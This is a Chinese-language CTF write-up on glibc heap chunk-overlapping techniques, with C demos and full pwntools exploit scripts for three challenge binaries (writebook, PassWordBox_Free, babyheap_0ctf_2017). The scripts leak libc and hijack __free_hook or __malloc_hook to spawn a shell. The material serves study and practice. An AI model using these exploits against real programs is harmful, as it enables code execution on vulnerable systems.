概念
简单的说就是扩展上一个堆块来影响下一个堆块的内容及大小,使多个堆快的空间形成重叠对应的关系。
常用的堆快重叠手法分为两种,分别为前向合并堆快及后向合并堆快,且其作用场景往往是在发现某个漏洞如offbyone、offbynull或是溢出之后为了进一步控制实现地址写及leaklibc而使用的。
前向合并
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int main(void) { void *ptr1,*ptr2,*ptr3,*ptr4; ptr1=malloc(128); ptr2=malloc(0x10); ptr3=malloc(0x10); ptr4=malloc(128); malloc(0x10); free(ptr1); *(int *)((long long)ptr4-0x8)=0x90; *(int *)((long long)ptr4-0x10)=0xd0; free(ptr4); malloc(0x150); }
|
前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。
重点是将头部的ptr1堆快free掉后,再修改尾部ptr4堆快的pre_inuse为ptr1+ptr2+ptr3的大小,之后当free掉ptr4时,便会使堆快ptr4向前合并到ptr1形成一个bin
之后再新建一个ptr1+ptr2+ptr3大小的堆快,那么同时ptr2和ptr3的指针也仍在新建的堆快之中
后向合并
1 2 3 4 5 6 7 8 9 10
| int main(void) { void *ptr,*ptr1; ptr=malloc(0x10); malloc(0x10); *(long long *)((long long)ptr-0x8)=0x41; free(ptr); ptr1=malloc(0x30); return 0; }
|
这是比较常见的向后overlapping利用。执行完后,将导致ptr1的内容包含上第二次malloc的内容,从而控制ptr的内容及大小,也就是造成两个堆块间的重叠
而其中重点便是 通过修改PTR堆快的size位来促使其堆快向后包裹,包裹住后面堆快的范围
之后将其free掉,即可以形成一个largebin。
最后在largebin上新建堆快形成 新堆快与前面被largebin包裹的堆快重叠
并且前面形成的largebin会残留mainarena的指针,可以通过其泄漏libc地址
前向合并演示
2021深育杯writebook
程序分析
64位程序,2.31的libc,保护全开,漏洞存在于write功能中的sub_d6c
中,在读取到的数据末尾处追加了\x00
形成offbynull
漏洞
而在申请堆快的处理中,对大小、数量的限制也没有过多的限制,因此思路即通过offbynull构造堆快重叠,之后泄漏地址,并通过修改堆快的fd指针控制freehook写入onegadgets
利用过程
首先构造大量0x100大小的堆快,以及大于0x100大小的堆快(用于offbynull覆盖最后一位)
1 2 3 4 5
| for i in range(8): add1(0xf0) add2(0x168) add2(0x168) add2(0x168)
|
之后将其逐一free掉
通过idx8改写idx9的prev_inuse位,并通过offbynull覆盖idx9的size为0x100。即*idx0+idx8 = (0x100\*8)+0x170 = 0x970
然后通过idx9的堆快,伪造一个0x70大小的堆快,并截断原先的idx9,使之成为一个0x100与0x70大小的堆快
1 2
| edit(8,"a"*0x160+p64(0x970)) edit(9,"b"*0xf0+p64(0x100)+p64(0x71))
|
最后free掉idx0与idx9,使堆快向前合并形成一个0xa70大小的堆快
虽然前面通过gdb观察到我们free掉的idx0-idx8合并成了一个大堆快,但步骤2中的free过程已经记录在了tcache中,因此当我们再次申请时,仍可以将堆快申请到被free掉的0xa70中
之后再次申请0x60大小的fastbin,用于后续方便伪造堆快申请到freehook中。而申请0x80的堆快并无实际作用,只是为了凑齐0x100大小,而此时的堆快重叠便已经形成
1 2 3
| idx10+idx11 <=> idx6 idx12+idx13 <=> idx5 idx14+idx15 <=> idx4
|
最后由于起初的LargeBin即0x970的chunk中fd和bk指针都指向了main_arena中,因此我们任意show一个堆快都可以泄漏出libc地址
最最后free掉任意一个0x70大小的堆快,并通过堆快重叠修改其fd指针为freehook,在通过申请堆快到freehook,并改写其值为onegg,即可完成利用
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| def exp(): def add1(size): sh.recvuntil("> ") sh.sendline("1") sh.recvuntil("2. Write on both sides?\n> ") sh.sendline("1") sh.recvuntil("size: ") sh.sendline(str(size)) def add2(size): sh.recvuntil("> ") sh.sendline("1") sh.recvuntil("2. Write on both sides?\n> ") sh.sendline("2") sh.recvuntil("size: ") sh.sendline(str(size)) def delete(index): sh.recvuntil("> ") sh.sendline("4") sh.recvuntil("Page: ") sh.sendline(str(index)) def edit(index,content): sh.recvuntil("> ") sh.sendline("2") sh.recvuntil("Page: ") sh.sendline(str(index)) sh.recvuntil("Content: ") sh.sendline(content) def show(index): sh.recvuntil("> ") sh.sendline("3") sh.recvuntil("Page: ") sh.sendline(str(index))
for i in range(8): add1(0xf0) add2(0x168) add2(0x168) add2(0x168)
for i in range(7): delete(i+1)
edit(8,"a"*0x160+p64(0x970)) edit(9,"b"*0xf0+p64(0x100)+p64(0x71))
delete(0) delete(9)
for i in range(8): add1(0xf0) for i in range(4): add1(0x60) add1(0x80)
show(9) sh.recvuntil(": ") libc_base = u64(sh.recv(6).ljust(8,"\x00"))-96-0x10-libc.sym["__malloc_hook"] success("libc_base => 0x%x",libc_base) malloc_hook = libc_base + libc.sym["__malloc_hook"] realloc = libc_base+libc.sym["__libc_realloc"] one_gg = libc_base + one_ggs[1] success("malloc_hook => 0x%x",malloc_hook) free_hook = libc_base + libc.sym["__free_hook"] success("free_hook => 0x%x",free_hook) success("one_gg = > 0x%x",one_gg) delete(12) edit(5,p64(free_hook-8-3)) add1(0x60) add1(0x60) edit(18,"a"*(8+3) + p64(one_gg)) delete(9) return sh
|
2021祥云杯PassWordBox_Free
利用思路
当add堆块并写入数据时,可以看到存放到堆块中的数据被加密了
切换到ida中在看 就只是通过一个简单的算法来对数据进行^运算,而这个具体的算法的话根本不需要我们去逆,是因为当幂运算一个参数为0时,结果将会是他本身,因此我们通过输入0x00便能得到它加密的密钥
解密代码如下
1 2 3 4 5 6 7
| global key add(0,0x1,p8(0x0)) sh.recvuntil("ID:") key = u64(sh.recv(8)) success("key => 0x%x",key) def deP64(dataa): return p64(dataa^key)+"\n"
|
之后通过off by one构造堆块重叠泄漏libc地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| add(1,0xF0,"a"*0xf0) add(2,0x80,"b"*0x80) add(3,0x80,"c"*0x80) add(4,0xF0,"d"*0xf0) for i in range(5,12): add(i,0xF0,'aaaa'*0xd0) for i in range(5,12): delete(i) delete(3) add(3,0x88,'b'*0x80 + deP64(0x100 + 0x90 + 0x90) + '\x00') delete(1) delete(4) for i in range(5,12): add(i,0xF0,'a'*0xf0) add(1,0xF0,'a'*0xF0) show(2)
|
再通过控制下一个堆块的fd指针来使下下个申请的堆块落到malloc_hook中
最后填入onegadget即可getshell
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| def exp(): def add(idx,size,content): sh.sendlineafter("Choice:","1") sh.sendlineafter("Save:",str(idx)) sh.sendlineafter("Length Of Your Pwd:",str(size)) sh.sendafter("Pwd:",content) def edit(index,content): sh.sendlineafter('Choice:','2') sh.sendline(str(index)) sleep(0.5) sh.send(content) def show(index): sh.sendlineafter('Choice:','3') sh.sendlineafter('Check:',str(index)) def delete(index): sh.sendlineafter('Choice:','4') sh.sendlineafter('Delete:',str(index)) global key add(0,0x1,p8(0x0)) sh.recvuntil("ID:") key = u64(sh.recv(8)) success("key => 0x%x",key) def deP64(dataa): return p64(dataa^key) add(1,0xF0,"a"*0xf0) add(2,0x80,"b"*0x80) add(3,0x80,"c"*0x80) add(4,0xF0,"d"*0xf0) for i in range(5,12): add(i,0xF0,'aaaa'*0xd0) for i in range(5,12): delete(i) delete(3) add(3,0x88,'b'*0x80 + deP64(0x100 + 0x90 + 0x90) + '\x00') delete(1) delete(4) for i in range(5,12): add(i,0xF0,'a'*0xf0) add(1,0xF0,'a'*0xF0) show(2) sh.recvuntil("Pwd is: ") malloc_hook = (u64(sh.recv(8))^key)-96-0x10 success("malloc_hook => 0x%x",malloc_hook) libc_base = malloc_hook - libc.sym["__malloc_hook"] free_hook = libc_base + libc.sym["__free_hook"] success("free_hook => 0x%x",free_hook) success("libc_base => 0x%x",libc_base) one_gg = libc_base+one_ggs[1] success("one_gg => 0x%x",one_gg)
delete(3) add(3,0x98,'b'*0x80 + (deP64(0) + deP64(0x91) + deP64(free_hook))) add(20,0x80,p64(0) + 'c'*0x78) add(21,0x80,p64(one_gg^key)) sh.sendline("\n") delete(2)
return sh
|
前向合并
babyheap_0ctf_2017
程序分析
标准的增删改查功能。
其中添加堆块时,使用的是alloc与malloc不同的是申请的堆块内容会被初始化。
而fill,修改堆块内容的时候,存在越界写n个字符的情况,也就是说可以从上一个堆块的内容中写到下一个堆块里
free功能首先会判断堆块是否在,其次对堆块的指针大小以及内容清零,也就是不存在doublefree的情况
dump功能会打印出与堆块大小数量一致的字符
利用思路
通过堆块重叠来将某个堆块的数据区保存在另一个堆块的数据区之中,从而泄露main_arena
申请3个堆块分别为0x10
\0x10
\0x80
chunk_1用于越界写chunk_2的size为0xb1
,从而使chunk_2的大小可以正好包裹住chunk_3。
之后在对chunk_2进行free,使其清空,从而使得我们alloc(0xa1)大小的地址时,可以将chunk_3也包括进去,而此时的chunk_3的size位因为alloc的缘故被清空了,再手动修改chunk_2并利用越界写的功能修改其size位。最后我们free掉chunk_3,其fd指针将指向main_arena+88的地址,最后我们只用show chunk_2即可看到main_arena
当获得到main_arena+88的地址后,将其-88-0x33即可得到malloc_hook的地址
最后再此利用越界写,将某一堆块的fd指针修改位malloc_hook的地址,即可申请到该地址的堆块
最后填入onegadgets,通过再次alloc,即可获得shell
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| def cmd(x): sh.sendlineafter('Command: ',str(x))
def add(size): cmd(1) sh.sendlineafter('Size: ',str(size))
def edit(index,content): cmd(2) sh.sendlineafter('Index: ',str(index)) sh.sendlineafter('Size: ',str(len(content))) sh.sendlineafter('Content: ',content)
def free(index): cmd(3) sh.sendlineafter('Index: ',str(index))
def show(index): cmd(4) sh.sendlineafter('Index: ',str(index))
add(0x10) add(0x10) add(0x80) add(0x10) add(0x60) add(0x60)
edit(0,p64(0)*3+p64(0xb1)) free(1) add(0xa0) edit(1,p64(0)*3+p64(0x91)) free(2) show(1)
sh.recvuntil(p64(0)*3+p64(0x91)) main_arena88 = u64(sh.recv(6).ljust(8,"\x00")) success("main_arena88 => 0x%x",main_arena88) libc_base = main_arena88-0x3c4b78 success("libc_base => 0x%x",libc_base) malloc_hook = main_arena88-88-0x33 success("malloc_hook => 0x%x",malloc_hook) one_gg = libc_base + one_ggs[1] free(4) edit(3,p64(0)*3+p64(0x71)+p64(malloc_hook)) add(0x60) add(0x60) edit(4,"a"*0x13+p64(one_gg)) add(0x70)
return sh
|